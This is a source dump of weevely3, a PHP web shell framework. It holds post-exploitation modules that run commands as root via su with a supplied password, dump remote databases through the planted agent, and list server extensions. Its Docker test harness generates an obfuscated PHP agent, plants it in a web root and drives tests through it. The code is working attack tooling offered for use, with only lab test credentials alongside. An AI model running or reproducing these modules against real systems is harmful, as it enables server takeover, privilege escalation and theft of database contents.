| return Status.RUN 110 | else: 111 | # Check safe_mode and disable_functions 112 | return Status.FAIL 113 | 114 | def run(self, **kwargs): 115 | 116 | # Join the command list and 117 | 118 | # Escape the single quotes. This does not protect from \' but 119 | # avoid to break the query for an unscaped quote. 120 | 121 | self.args['command'] = ' '.join(self.args['command']).replace("'", "\\'") 122 | 123 | return self.vectors.get_result( 124 | name = self.args['vector'], 125 | format_args = self.args 126 | ) 127 | -------------------------------------------------------------------------------- /modules/shell/su.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from core import messages 4 | from core.loggers import log 5 | from core.module import Module, Status 6 | from core.vectors import ShellCmd, PythonCode 7 | 8 | 9 | class Su(Module): 10 | """Execute commands with su.""" 11 | 12 | aliases = ['ifconfig'] 13 | 14 | def init(self): 15 | 16 | self.register_info( 17 | { 18 | 'author': [ 19 | 'Emilio Pinna' 20 | ], 21 | 'license': 'GPLv3' 22 | } 23 | ) 24 | 25 | self.register_vectors( 26 | [ 27 | ShellCmd( 28 | """expect -c 'spawn su -c "${command}" "${user}"; expect -re "assword"; send "${ passwd }\r\n"; expect eof;'""", 29 | name="sh_expect", 30 | postprocess=lambda x: re.findall('Password: (?:\r\n)?([\s\S]+)', x)[0] if 'Password: ' in x else '' 31 | ), 32 | PythonCode( 33 | """ 34 | import pexpect as p,sys 35 | c = p.spawn("su ${user} -c ${command}") 36 | c.expect(".*assword:");c.sendline("${ passwd }") 37 | i = c.expect([p.EOF,p.TIMEOUT]) 38 | if i!=p.TIMEOUT: 39 | sys.stdout.write(c.before[3:].decode("utf-8","replace")) 40 | """, 41 | name="pyexpect") 42 | ] 43 | ) 44 | 45 | self.register_arguments([ 46 | {'name': 'passwd', 'help': 'User\'s password'}, 47 | {'name': 'command', 'help': 'Shell command', 'nargs': '+'}, 48 | {'name': '-user', 'help': 'User to run the command with', 'default': 'root'}, 49 | {'name': '-stderr_redirection', 'default': ' 2>&1'}, 50 | {'name': '-vector-sh', 51 | 'choices': ('system', 'passthru', 'shell_exec', 'exec', 'popen', 'proc_open', 'perl_system', 'pcntl')}, 52 | {'name': '-vector', 'choices': self.vectors.get_names()} 53 | ]) 54 | 55 | def setup(self): 56 | """Probe all vectors to find a working su command. 57 | 58 | The method run_until is not used due to the check of shell_sh 59 | enabling for every tested vector. 60 | 61 | Args: 62 | self.args: The dictionary of arguments 63 | 64 | Returns: 65 | Status value, must be Status.RUN, Status.FAIL, or Status.IDLE. 66 | 67 | """ 68 | 69 | args_check = { 70 | 'user': self.args['user'], 71 | 'passwd': self.args['passwd'], 72 | 'command': 'whoami' 73 | } 74 | 75 | (vector_name, 76 | result) = self.vectors.find_first_result( 77 | names=[self.args.get('vector', '')], 78 | format_args=args_check, 79 | condition=lambda result: ( 80 | # Stop if shell_sh is in FAIL state 81 | self.session['shell_sh']['status'] == Status.FAIL or 82 | # Or if the result is correct 83 | self.session['shell_sh']['status'] == Status.RUN and result and result.rstrip() == self.args['user'] 84 | ) 85 | ) 86 | 87 | if self.session['shell_sh']['status'] == Status.RUN and result and result.rstrip() == self.args['user']: 88 | self.session['shell_su']['stored_args']['vector'] = vector_name 89 | return Status.RUN 90 | else: 91 | log.warn(messages.module_shell_su.error_su_executing) 92 | return Status.IDLE 93 | 94 | def run(self, **kwargs): 95 | 96 | # Join the command list and 97 | 98 | # Escape the single quotes. This does not protect from \' but 99 | # avoid to break the query for an unscaped quote. 100 | 101 | self.args['command'] = ' '.join(self.args['command']).replace("'", "\\'") 102 | 103 | format_args = { 104 | 'user': self.args['user'], 105 | 'passwd': self.args['passwd'], 106 | 'command': self.args['command'] 107 | } 108 | 109 | if self.args.get('vector_sh'): 110 | format_args['vector'] = self.args['vector_sh'] 111 | 112 | if self.args.get('stderr_redirection'): 113 | format_args['stderr_redirection'] = self.args['stderr_redirection'] 114 | 115 | return self.vectors.get_result( 116 | name=self.args['vector'], 117 | format_args=format_args 118 | ) 119 | -------------------------------------------------------------------------------- /modules/sql/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/modules/sql/__init__.py -------------------------------------------------------------------------------- /modules/sql/dump.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpFile, ShellCmd 2 | from core.module import Module 3 | from core.loggers import log 4 | from core import messages 5 | import tempfile 6 | import os 7 | 8 | 9 | class Dump(Module): 10 | 11 | """Multi dbms mysqldump replacement.""" 12 | 13 | def init(self): 14 | 15 | self.register_info( 16 | { 17 | 'author': [ 18 | 'Emilio Pinna' 19 | ], 20 | 'license': 'GPLv3' 21 | } 22 | ) 23 | 24 | self.register_vectors( 25 | [ 26 | ShellCmd( 27 | payload="mysqldump -h ${host} -u${user} -p${passwd} ${db} ${table} --single-transaction", 28 | name='mysqldump_sh' 29 | ), 30 | PhpFile( 31 | payload_path=os.path.join(self.folder, 'mysqldump.tpl'), 32 | name='mysqldump_php', 33 | ) 34 | ] 35 | ) 36 | 37 | self.register_arguments([ 38 | {'name': 'db', 'help': 'Db to dump'}, 39 | {'name': 'user', 'help': 'SQL username'}, 40 | # Using passwd instead of pass to avoid rendering the `pass` keyword 41 | {'name': 'passwd', 'help': 'SQL password'}, 42 | {'name': '-dbms', 'help': 'Db type. Vector \'mysqldump_sh\' supports only \'mysql\'.', 'choices': ('mysql', 'pgsql', 'sqlite', 'dblib'), 'default': 'mysql'}, 43 | {'name': '-host', 'help': 'Db host or host:port', 'nargs': '?', 'default': '127.0.0.1'}, 44 | {'name': '-lpath', 'help': 'Dump to local path (default: temporary file)'}, 45 | {'name': '-vector', 'choices': self.vectors.get_names(), 'default': 'mysqldump_php'} 46 | ]) 47 | 48 | def run(self, **kwargs): 49 | 50 | self.args['table'] = self.args.get('table', '') 51 | 52 | if self.args['vector'] == 'mysqldump_sh' and self.args['dbms'] != 'mysql': 53 | log.warn(messages.module.vector_s_not_support_arg_s_s % ( 54 | self.args['vector'], 55 | 'dbms', 56 | self.args['dbms']) 57 | ) 58 | return 59 | 60 | vector_name, result = self.vectors.find_first_result( 61 | names=[self.args.get('vector')], 62 | format_args=self.args, 63 | condition=lambda r: r and '-- Dumping data for table' in r 64 | ) 65 | 66 | if not vector_name: 67 | log.warn(messages.module_sql_dump.sql_dump_failed_check_credentials) 68 | return 69 | 70 | # Get a temporary file name if not specified 71 | lpath = self.args.get('lpath') 72 | if not lpath: 73 | temp_file = tempfile.NamedTemporaryFile( 74 | suffix='_%s_%s_%s_%s.sqldump' % ( 75 | self.args['user'], self.args['passwd'], self.args['host'], self.args['db'] 76 | ), 77 | delete=False 78 | ) 79 | lpath = temp_file.name 80 | 81 | if not os.path.isabs(lpath): 82 | if lpath.startswith('~'): 83 | lpath = os.path.expanduser('~') + os.path.join('/', lpath.replace('~/', '')) 84 | else: 85 | lpath = os.path.join(os.getcwd(), lpath) 86 | 87 | path, filename = os.path.split(lpath) 88 | if not os.path.exists(path): 89 | os.makedirs(path) 90 | 91 | try: 92 | open(lpath, 'w').write(result) 93 | except Exception as e: 94 | log.warn( 95 | messages.generic.error_creating_file_s_s % (lpath, e) 96 | ) 97 | return 98 | 99 | log.info(messages.module_sql_dump.sql_dump_saved_s % lpath) 100 | -------------------------------------------------------------------------------- /modules/system/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/modules/system/__init__.py -------------------------------------------------------------------------------- /modules/system/extensions.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode 2 | from core.module import Module 3 | from core import messages 4 | import random 5 | 6 | 7 | class Extensions(Module): 8 | 9 | """Collect PHP and webserver extension list.""" 10 | 11 | def init(self): 12 | 13 | self.register_info( 14 | { 15 | 'author': [ 16 | 'Emilio Pinna' 17 | ], 18 | 'license': 'GPLv3' 19 | } 20 | ) 21 | 22 | self.register_vectors( 23 | [ 24 | PhpCode(""" 25 | $f='get_loaded_extensions'; 26 | if(function_exists($f)&&is_callable($f)) 27 | foreach($f() as $o) print($o.PHP_EOL); 28 | """, 'php_extensions'), 29 | PhpCode(""" 30 | $f='apache_get_modules'; 31 | if(function_exists($f)&&is_callable($f)) 32 | foreach($f() as $o) print($o.PHP_EOL); 33 | """, 'apache_modules'), 34 | ] 35 | ) 36 | 37 | self.register_arguments([ 38 | { 'name' : '-info', 39 | 'help' : 'Select modules or extensions', 40 | 'choices' : self.vectors.get_names(), 41 | 'nargs' : '+' } 42 | ]) 43 | 44 | def run(self, **kwargs): 45 | 46 | result = self.vectors.get_results( 47 | names = self.args.get('info', []) 48 | ) 49 | 50 | # Returns a string when a single information is requested, 51 | # else returns a dictionary containing all the results. 52 | info = self.args.get('info') 53 | if info and len(info) == 1: 54 | return result[info[0]] 55 | else: 56 | return result 57 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | prettytable 2 | Mako 3 | PyYAML 4 | python-dateutil 5 | PySocks 6 | pyOpenSSL 7 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/tests/__init__.py -------------------------------------------------------------------------------- /tests/base_test.py: -------------------------------------------------------------------------------- 1 | from unittest import TestCase 2 | from . import config 3 | from os import environ 4 | 5 | 6 | class BaseTest(TestCase): 7 | agent = environ.get('AGENT', 'agent.php') 8 | url = config.base_url + agent 9 | password = config.password 10 | path = config.base_folder + agent 11 | 12 | def shortDescription(self): 13 | doc = super().shortDescription() 14 | doc = doc if doc else '' 15 | return f'[PHP{8 if self.agent == "agent.phar" else 7}] {doc}' 16 | -------------------------------------------------------------------------------- /tests/config.py: -------------------------------------------------------------------------------- 1 | agent = '/var/www/html/agent.php' 2 | password = 'testingpassword' 3 | url = 'http://localhost/agent.php' 4 | 5 | base_folder = '/var/www/html/' 6 | base_url = 'http://localhost/' 7 | 8 | debug = False 9 | test_stress_channels = True 10 | 11 | su_user = 'testuser' 12 | su_passwd = 'testuser' 13 | 14 | sql_dbms = 'mysql' 15 | sql_db = 'test' 16 | sql_user = 'root' 17 | sql_passwd = 'root' 18 | sql_autologin = False -------------------------------------------------------------------------------- /tests/docker/000-default.conf: -------------------------------------------------------------------------------- 1 | 2 | # The ServerName directive sets the request scheme, hostname and port that 3 | # the server uses to identify itself. This is used when creating 4 | # redirection URLs. In the context of virtual hosts, the ServerName 5 | # specifies what hostname must appear in the request's Host: header to 6 | # match this virtual host. For the default virtual host (this file) this 7 | # value is not decisive as it is used as a last resort host regardless. 8 | # However, you must set it for any further virtual host explicitly. 9 | #ServerName www.example.com 10 | 11 | ServerAdmin webmaster@localhost 12 | DocumentRoot /var/www/html 13 | 14 | # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, 15 | # error, crit, alert, emerg. 16 | # It is also possible to configure the loglevel for particular 17 | # modules, e.g. 18 | #LogLevel info ssl:warn 19 | 20 | ErrorLog ${APACHE_LOG_DIR}/error.log 21 | CustomLog ${APACHE_LOG_DIR}/access.log combined 22 | 23 | # For most configuration files from conf-available/, which are 24 | # enabled or disabled at a global level, it is possible to 25 | # include a line for only one particular virtual host. For example the 26 | # following line enables the CGI configuration for this host only 27 | # after it has been globally disabled with "a2disconf". 28 | #Include conf-available/serve-cgi-bin.conf 29 | 30 | AddType application/x-httpd-php .php8 31 | 32 | 33 | SetHandler "proxy:unix:/run/php/php7.4-fpm.sock|fcgi://localhost" 34 | 35 | 36 | SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost" 37 | 38 | -------------------------------------------------------------------------------- /tests/docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3 2 | 3 | WORKDIR /app 4 | 5 | RUN apt-get update 6 | RUN apt-get -y install curl wget gnupg2 ca-certificates lsb-release apt-transport-https apache2 expect php-mysql zip unzip vim openssh-server 7 | 8 | RUN wget -O /tmp/sury.gpg https://packages.sury.org/php/apt.gpg 9 | RUN apt-key add /tmp/sury.gpg 10 | RUN rm /tmp/sury.gpg 11 | RUN echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" | tee /etc/apt/sources.list.d/php.list 12 | RUN apt-get update -y 13 | RUN apt-get -y install php7.4 php7.4-fpm php7.4-mysql libapache2-mod-php7.4 libapache2-mod-fcgid php7.4-curl php7.4-gd php7.4-zip php7.4-bz2 php7.4-ssh2 14 | RUN apt-get -y install php8.2 php8.2-fpm php8.2-mysql libapache2-mod-php8.2 libapache2-mod-fcgid php8.2-curl php8.2-gd php8.2-zip php8.2-bz2 php8.2-ssh2 15 | 16 | RUN bash -c "debconf-set-selections <<< 'mysql-server mysql-server/root_password password root'" 17 | RUN bash -c "debconf-set-selections <<< 'mysql-server mysql-server/root_password_again password root'" 18 | RUN apt-get -y install default-mysql-server 19 | 20 | COPY requirements.txt /app/ 21 | RUN pip install -r /app/requirements.txt 22 | # Additional libraries for testing 23 | RUN pip install testfixtures coverage pexpect paramiko 24 | 25 | # Add unprivileged testuser:testuser user 26 | RUN echo 'testuser:$1$xyz$iqgi.17OXQwhicZgFC1OZ.:1001:1002:,,,:/home/testuser:/bin/bash' >> /etc/passwd 27 | RUN mkdir -p /home/testuser 28 | RUN chown testuser:users /home/testuser 29 | 30 | RUN phpenmod ssh2 31 | 32 | COPY tests/docker/000-default.conf /etc/apache2/sites-enabled/000-default.conf 33 | 34 | ENTRYPOINT "/app/tests/docker/entrypoint.sh" 35 | -------------------------------------------------------------------------------- /tests/docker/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e -x 3 | 4 | BASE_FOLDER="`python -c 'from tests import config;print(config.base_folder)'`" 5 | AGENT="`python -c 'from tests import config;print(config.agent)'`" 6 | URL="`python -c 'from tests import config;print(config.url)'`" 7 | PWD="`python -c 'from tests import config;print(config.password)'`" 8 | 9 | # Generic environment setting install 10 | mkdir -p "$BASE_FOLDER" 11 | find -type f -name '*.pyc' -exec rm -f {} \; 12 | python ./weevely.py generate -obfuscator obfusc1_php "$PWD" "$AGENT" 13 | python ./weevely.py generate "$PWD" "$BASE_FOLDER"agent.phar 14 | 15 | a2enmod actions fcgid alias proxy_fcgi 16 | 17 | update-alternatives --set php /usr/bin/php7.4 18 | 19 | service php7.4-fpm start 20 | service php8.2-fpm start 21 | service ssh start 22 | service apache2 start 23 | service mariadb start 24 | 25 | # Grant root user to connect from network socket 26 | mysql -u root --password=root -e "grant all privileges on *.* to 'root'@'localhost' identified by 'root'; flush privileges;" 27 | 28 | sleep 10000 29 | -------------------------------------------------------------------------------- /tests/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | # Load docker defaults and check conf 5 | docker info 6 | 7 | # Change folder to the root folder 8 | PARENTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )"/../ && pwd )" 9 | cd $PARENTDIR 10 | 11 | # Delete any instance if previously existent 12 | docker rm -f httpbin-inst || echo '' 13 | docker rm -f weevely-inst || echo '' 14 | docker network rm weevely-testnet || echo '' 15 | 16 | # Create the network 17 | docker network create weevely-testnet 18 | 19 | # Run httpbin container for local testing 20 | docker pull kennethreitz/httpbin 21 | docker run -p 8888:80 --net=weevely-testnet --rm --name httpbin-inst -d kennethreitz/httpbin 22 | 23 | # Wait until the http server is serving 24 | until $(curl --output /dev/null --silent --head http://localhost:8888/); do 25 | sleep 1 26 | done 27 | 28 | # Build weevely container 29 | docker build -f tests/docker/Dockerfile . -t weevely 30 | docker run --rm --net=weevely-testnet --name weevely-inst -v `pwd`:/app/ -p 80:80 -d weevely 31 | 32 | # Wait until the http server is serving 33 | until $(curl --output /dev/null --silent --head http://localhost/); do 34 | sleep 1 35 | done 36 | 37 | if [ "$1" = "bash" ]; then 38 | docker exec -e "AGENT=$AGENT" -it weevely-inst /bin/bash 39 | else 40 | for AGENT in agent.php agent.phar; do 41 | if [ -z "$1" ]; then 42 | docker exec -e "AGENT=$AGENT" -it weevely-inst python -m unittest discover ./tests/ "test_*.py" 43 | else 44 | docker exec -e "AGENT=$AGENT" -it weevely-inst python -m unittest discover ./tests/ "test_$1.py" 45 | fi 46 | done 47 | fi 48 | 49 | docker rm -f weevely-inst 50 | docker rm -f httpbin-inst 51 | docker network rm weevely-testnet -------------------------------------------------------------------------------- /tests/test_channels.py: -------------------------------------------------------------------------------- 1 | from tests.base_test import BaseTest 2 | from core.channels.channel import Channel 3 | from core.weexceptions import DevException 4 | import utils 5 | from core.generate import generate, save_generated 6 | import os 7 | import random 8 | import unittest 9 | from tests import config 10 | from core.loggers import stream_handler 11 | import logging 12 | import subprocess 13 | import tempfile 14 | import core.config 15 | import socket 16 | 17 | def _get_google_ip(): 18 | try: 19 | data = socket.gethostbyname('www.google.com') 20 | ip = repr(data) 21 | if ip: 22 | return ip 23 | except Exception: 24 | pass 25 | 26 | class ObfPostChannel(BaseTest): 27 | 28 | def setUp(self): 29 | self.channel = Channel( 30 | 'ObfPost', 31 | { 32 | 'url' : self.url, 33 | 'password' : self.password 34 | } 35 | ) 36 | 37 | def _incremental_requests( 38 | self, 39 | size_start, 40 | size_to, 41 | step_rand_start, 42 | step_rand_to): 43 | 44 | for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)): 45 | payload = utils.strings.randstr(i) 46 | result = self.channel.send( 47 | 'echo("%s");' % 48 | payload.decode('utf-8'))[0] 49 | self.assertEqual( 50 | result, 51 | payload) 52 | 53 | class AgentDEFAULTObfuscatorDefault(ObfPostChannel): 54 | 55 | def test_1_100_requests(self): 56 | self._incremental_requests(1, 100, 1, 3) 57 | 58 | def test_100_1000_requests(self): 59 | self._incremental_requests(100, 1000, 90, 300) 60 | 61 | def test_1000_10000_requests(self): 62 | self._incremental_requests(1000, 10000, 900, 3000) 63 | 64 | def test_10000_50000_requests(self): 65 | self._incremental_requests(10000, 50000, 9000, 30000) 66 | 67 | -------------------------------------------------------------------------------- /tests/test_file_cd.py: -------------------------------------------------------------------------------- 1 | from testfixtures import log_capture 2 | from tests.base_test import BaseTest 3 | from tests import config 4 | from core.sessions import SessionURL 5 | from core import modules 6 | import utils 7 | from core import messages 8 | import subprocess 9 | import os 10 | 11 | def setUpModule(): 12 | subprocess.check_output(""" 13 | BASE_FOLDER="{config.base_folder}/test_file_cd/" 14 | rm -rf "$BASE_FOLDER" 15 | mkdir -p "$BASE_FOLDER/dir1/dir2/dir3/dir4" 16 | chmod 0 "$BASE_FOLDER/dir1/dir2/dir3/dir4" 17 | """.format( 18 | config = config 19 | ), shell=True) 20 | 21 | class FileCd(BaseTest): 22 | 23 | folders = [ os.path.join(config.base_folder, f) for f in ( 24 | 'test_file_cd/dir1', 25 | 'test_file_cd/dir1/dir2', 26 | 'test_file_cd/dir1/dir2/dir3', 27 | 'test_file_cd/dir1/dir2/dir3/dir4', 28 | ) ] 29 | 30 | def setUp(self): 31 | self.session = SessionURL( 32 | self.url, 33 | self.password, 34 | volatile = True 35 | ) 36 | 37 | modules.load_modules(self.session) 38 | 39 | self.run_argv = modules.loaded['file_cd'].run_argv 40 | 41 | @log_capture() 42 | def test_cwd(self, log_captured): 43 | 44 | # cd [0] 45 | new = self.folders[0] 46 | self.run_argv([ new ]) 47 | self.assertEqual(new, self.session['file_cd']['results']['cwd']) 48 | 49 | # cd [-1] 50 | new = self.folders[-1] 51 | self.run_argv([ new ]) 52 | self.assertEqual(self.folders[0], self.session['file_cd']['results']['cwd']) 53 | self.assertEqual( 54 | messages.module_file_cd.failed_directory_change_to_s % new, 55 | log_captured.records[-1].msg 56 | ) 57 | 58 | # new [1]/.././[1]/./ 59 | new = self.folders[1] 60 | self.run_argv([ '%s/.././%s/./' % (new, os.path.split(new)[-1]) ]) 61 | self.assertEqual(new, self.session['file_cd']['results']['cwd']) 62 | 63 | # new bogus 64 | new = 'bogus' 65 | self.run_argv([ new ]) 66 | self.assertEqual(self.folders[1], self.session['file_cd']['results']['cwd']) 67 | self.assertEqual( 68 | messages.module_file_cd.failed_directory_change_to_s % new, 69 | log_captured.records[-1].msg 70 | ) 71 | 72 | # new [2]/.././[2]/../ 73 | new = self.folders[2] 74 | self.run_argv([ '%s/.././////////%s/../' % (new, os.path.split(new)[-1]) ]) 75 | self.assertEqual(self.folders[1], self.session['file_cd']['results']['cwd']) 76 | -------------------------------------------------------------------------------- /tests/test_file_check.py: -------------------------------------------------------------------------------- 1 | from tests.base_test import BaseTest 2 | from testfixtures import log_capture 3 | from tests import config 4 | from core.sessions import SessionURL 5 | from core import modules 6 | from core import messages 7 | import subprocess 8 | import datetime 9 | import logging 10 | import os 11 | 12 | def setUpModule(): 13 | subprocess.check_output(""" 14 | BASE_FOLDER="{config.base_folder}/test_file_check/" 15 | rm -rf "$BASE_FOLDER" 16 | mkdir -p "$BASE_FOLDER/dir1/dir2/dir3/0333" 17 | chmod 0333 "$BASE_FOLDER/dir1/dir2/dir3/0333" 18 | echo -n 1 > "$BASE_FOLDER/dir1/0777" 19 | chmod 0777 "$BASE_FOLDER/dir1/0777" 20 | touch "$BASE_FOLDER/dir1/dir2/writable" 21 | touch "$BASE_FOLDER/dir1/dir2/dir3/write-executable" 22 | touch "$BASE_FOLDER/dir1/dir2/dir3/0333/0444" 23 | chmod 0444 "$BASE_FOLDER/dir1/dir2/dir3/0333/0444" 24 | """.format( 25 | config = config 26 | ), shell=True) 27 | 28 | class FileCheck(BaseTest): 29 | 30 | files_rel = [ 31 | 'test_file_check/dir1/0777', 32 | 'test_file_check/dir1/dir2/writable', 33 | 'test_file_check/dir1/dir2/dir3/write-executable', 34 | 'test_file_check/dir1/dir2/dir3/0333/0444', 35 | ] 36 | 37 | folders_rel = [ 38 | 'test_file_check/dir1/', 39 | 'test_file_check/dir1/dir2/', 40 | 'test_file_check/dir1/dir2/dir3/', 41 | 'test_file_check/dir1/dir2/dir3/0333/', 42 | ] 43 | 44 | def setUp(self): 45 | session = SessionURL(self.url, self.password, volatile = True) 46 | modules.load_modules(session) 47 | 48 | self.file_0_time = int(subprocess.check_output( 49 | 'stat -c %%Y "%s"' % (os.path.join(config.base_folder, 'test_file_check/dir1/0777')), 50 | shell=True) 51 | ) 52 | 53 | self.run_argv = modules.loaded['file_check'].run_argv 54 | 55 | def test_check(self): 56 | 57 | # Some check on a file just readable 58 | self.assertTrue(self.run_argv([ self.files_rel[3], 'exists'])) 59 | self.assertTrue(self.run_argv([ self.files_rel[3], 'readable'])) 60 | self.assertTrue(self.run_argv([ self.files_rel[3], 'file'])) 61 | self.assertFalse(self.run_argv([ self.files_rel[3], 'executable'])) 62 | self.assertFalse(self.run_argv([ self.files_rel[3], 'writable'])) 63 | self.assertFalse(self.run_argv([ self.files_rel[3], 'dir'])) 64 | 65 | # Some check on an unexistant file 66 | self.assertFalse(self.run_argv(['BOGUS', 'exists'])) 67 | self.assertFalse(self.run_argv(['BOGUS', 'readable'])) 68 | self.assertFalse(self.run_argv(['BOGUS', 'file'])) 69 | self.assertFalse(self.run_argv(['BOGUS', 'executable'])) 70 | self.assertFalse(self.run_argv(['BOGUS', 'writable'])) 71 | self.assertFalse(self.run_argv(['BOGUS', 'dir'])) 72 | 73 | # Some check on a folder with jsut x & w 74 | self.assertTrue(self.run_argv([ self.folders_rel[3], 'exists'])) 75 | self.assertFalse(self.run_argv([ self.folders_rel[3], 'readable'])) 76 | self.assertFalse(self.run_argv([ self.folders_rel[3], 'file'])) 77 | self.assertTrue(self.run_argv([ self.folders_rel[3], 'executable'])) 78 | self.assertTrue(self.run_argv([ self.folders_rel[3], 'writable'])) 79 | self.assertTrue(self.run_argv([ self.folders_rel[3], 'dir'])) 80 | 81 | # Save the human readable remote file[0] timestamp 82 | rdatetime = datetime.datetime.fromtimestamp(float(self.file_0_time)).strftime('%Y-%m-%d') 83 | 84 | self.assertTrue(self.run_argv([ self.files_rel[0], 'exists'])) 85 | self.assertTrue(self.run_argv([ self.files_rel[0], 'readable'])) 86 | self.assertTrue(self.run_argv([ self.files_rel[0], 'file'])) 87 | self.assertFalse(self.run_argv([ self.files_rel[0], 'dir'])) 88 | self.assertTrue(self.run_argv([ self.files_rel[0], 'executable'])) 89 | self.assertTrue(self.run_argv([ self.files_rel[0], 'writable'])) 90 | self.assertEqual(self.run_argv([ self.files_rel[0], 'size']), '1o') 91 | self.assertEqual(self.run_argv([ self.files_rel[0], 'md5']), 'c4ca4238a0b923820dcc509a6f75849b') 92 | self.assertAlmostEqual(self.run_argv([ self.files_rel[0], 'time']), self.file_0_time, delta = 20) 93 | self.assertEqual(self.run_argv([ self.files_rel[0], 'datetime']).split(' ')[0], rdatetime) 94 | -------------------------------------------------------------------------------- /tests/test_file_download.py: -------------------------------------------------------------------------------- 1 | from tests.base_test import BaseTest 2 | from testfixtures import log_capture 3 | from tests import config 4 | from core.sessions import SessionURL 5 | from core import modules 6 | from core import messages 7 | import subprocess 8 | import tempfile 9 | import datetime 10 | import logging 11 | import os 12 | 13 | def setUpModule(): 14 | subprocess.check_output(""" 15 | BASE_FOLDER="{config.base_folder}/test_file_download/" 16 | rm -rf "$BASE_FOLDER" 17 | mkdir -p "$BASE_FOLDER" 18 | echo -n 'OK' > "$BASE_FOLDER/ok.test" 19 | echo -n 'KO' > "$BASE_FOLDER/ko.test" 20 | # Set ko.test to ---x--x--x 0111 execute, should be no readable 21 | chmod 0111 "$BASE_FOLDER/ko.test" 22 | """.format( 23 | config = config 24 | ), shell=True) 25 | 26 | 27 | class FileDownload(BaseTest): 28 | 29 | file_ok = os.path.join(config.base_folder, '/test_file_download/ok.test') 30 | file_ko = os.path.join(config.base_folder, '/test_file_download/ko.test') 31 | 32 | def setUp(self): 33 | session = SessionURL(self.url, self.password, volatile = True) 34 | modules.load_modules(session) 35 | 36 | self.run_argv = modules.loaded['file_download'].run_argv 37 | 38 | def test_download_php(self): 39 | temp_file = tempfile.NamedTemporaryFile() 40 | 41 | # Simple download 42 | self.assertEqual(self.run_argv(['test_file_download/ok.test', temp_file.name]), b'OK') 43 | with open(temp_file.name, 'r') as temp_file2: 44 | self.assertEqual(temp_file2.read(), 'OK') 45 | temp_file.truncate() 46 | 47 | # Downoad binary. Skip check cause I don't know the remote content, and 48 | # the md5 check is already done inside file_download. 49 | self.assertTrue(self.run_argv(['/bin/ls', temp_file.name])) 50 | with open(temp_file.name, 'rb') as temp_file2: 51 | self.assertTrue(temp_file2.read()) 52 | temp_file.truncate() 53 | 54 | # Download of an unreadable file 55 | self.assertEqual(self.run_argv(['test_file_download/ko.test', temp_file.name]), None) 56 | 57 | with open(temp_file.name, 'r') as temp_file2: 58 | self.assertEqual(temp_file2.read(), '') 59 | 60 | # Download of an remote unexistant file 61 | self.assertEqual(self.run_argv(['bogus', temp_file.name]), None) 62 | with open(temp_file.name, 'r') as temp_file2: 63 | self.assertEqual(temp_file2.read(), '') 64 | 65 | 66 | # Download to a local unexistant folder 67 | self.assertEqual(self.run_argv(['test_file_download/ok.test', '/tmp/bogus/bogus']), None) 68 | with open(temp_file.name, 'r') as temp_file2: 69 | self.assertEqual(temp_file2.read(), '') 70 | 71 | 72 | # Download to a directory 73 | self.assertEqual(self.run_argv(['ok.test', '/tmp/']), None) 74 | with open(temp_file.name, 'r') as temp_file2: 75 | self.assertEqual(temp_file2.read(), '') 76 | 77 | 78 | temp_file.close() 79 | 80 | 81 | def test_download_sh(self): 82 | temp_file = tempfile.NamedTemporaryFile() 83 | 84 | # Simple download 85 | self.assertEqual(self.run_argv(['-vector', 'base64', 'test_file_download/ok.test', temp_file.name]), b'OK') 86 | with open(temp_file.name, 'r') as temp_file2: 87 | self.assertEqual(temp_file2.read(), 'OK') 88 | 89 | temp_file.truncate() 90 | 91 | # Downoad binary. Skip check cause I don't know the remote content, and 92 | # the md5 check is already done inside file_download. 93 | self.assertTrue(self.run_argv(['-vector', 'base64', '/bin/ls', temp_file.name])) 94 | with open(temp_file.name, 'rb') as temp_file2: 95 | self.assertTrue(temp_file2.read()) 96 | 97 | temp_file.truncate() 98 | 99 | # Download of an unreadable file 100 | self.assertEqual(self.run_argv(['-vector', 'base64', 'test_file_download/ko.test', temp_file.name]), None) 101 | with open(temp_file.name, 'r') as temp_file2: 102 | self.assertEqual(temp_file2.read(), '') 103 | 104 | 105 | # Download of an remote unexistant file 106 | self.assertEqual(self.run_argv(['-vector', 'base64', 'bogus', temp_file.name]), None) 107 | with open(temp_file.name, 'r') as temp_file2: 108 | self.assertEqual(temp_file2.read(), '') 109 | 110 | 111 | # Download to a local unexistant folder 112 | self.assertEqual(self.run_argv(['-vector', 'base64', 'test_file_download/ok.test', '/tmp/bogus/bogus']), None) 113 | with open(temp_file.name, 'r') as temp_file2: 114 | self.assertEqual(temp_file2.read(), '') 115 | 116 | 117 | # Download to a directory 118 | self.assertEqual(self.run_argv(['-vector', 'base64', 'test_file_download/ok.test', '/tmp/']), None) 119 | with open(temp_file.name, 'r') as temp_file2: 120 | self.assertEqual(temp_file2.read(), '') 121 | 122 | 123 | temp_file.close() 124 | -------------------------------------------------------------------------------- /tests/test_file_enum.py: -------------------------------------------------------------------------------- 1 | from testfixtures import log_capture 2 | from tests.base_test import BaseTest 3 | from core.sessions import SessionURL 4 | from core import modules 5 | from tests import config 6 | import utils 7 | from core import messages 8 | import subprocess 9 | import tempfile 10 | import os 11 | 12 | def setUpModule(): 13 | subprocess.check_output(""" 14 | BASE_FOLDER="{config.base_folder}/test_file_enum/" 15 | rm -rf "$BASE_FOLDER" 16 | 17 | mkdir -p "$BASE_FOLDER/dir1/dir2/dir3/dir4" 18 | 19 | touch "$BASE_FOLDER/dir1/0111-exec" 20 | chmod 0111 "$BASE_FOLDER/dir1/0111-exec" 21 | 22 | touch "$BASE_FOLDER/dir1/dir2/0222-write" 